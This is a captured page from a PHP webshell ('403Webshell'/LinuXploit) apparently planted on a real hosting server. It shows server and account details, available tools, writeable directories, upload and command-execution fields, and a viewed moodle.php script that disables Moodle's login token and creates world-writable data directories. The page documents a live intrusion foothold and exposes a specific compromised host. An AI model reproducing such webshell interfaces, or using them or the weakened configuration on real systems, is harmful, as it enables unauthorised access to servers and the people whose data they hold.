403Webshell
Server IP : 104.21.94.62  /  Your IP : 216.73.216.97
Web Server : Apache
System : Linux semi1.us.cloudlogin.co 5.10.244-xeon-hst #1 SMP Sun Sep 14 17:09:20 UTC 2025 x86_64
User : xessglobal ( 271017)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : ON |  Sudo : OFF |  Pkexec : ON
Directory :  /proc/self/root/usr/local/ei/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /proc/self/root/usr/local/ei/moodle.php
<?php
$cwd = getcwd();
if (!preg_match('|/home/www/(.+)|', $cwd, $regs))
        exit('Cwd error.');

$config = 'config.php';
if (!($content = file_get_contents($config))) {
        exit("Can't read $config\n");
}

$add = <<<EOF
\$CFG->disablelogintoken = true;
\$CFG->wwwrootendsinpublic = true;

EOF;

$searchString = 'require';
$position = strpos($content, $searchString);

if ($position !== false) {
        $before = substr($content, 0, $position);
        $after = substr($content, $position);

        $new = $before . $add . "\n" . $after;

        file_put_contents($config, $new);
} else {
        file_put_contents($config, $add, FILE_APPEND);
}

@mkdir('/home/www/moodledata/' . $regs[1], 0777, true);

Youez - 2016 - github.com/yon3zu
LinuXploit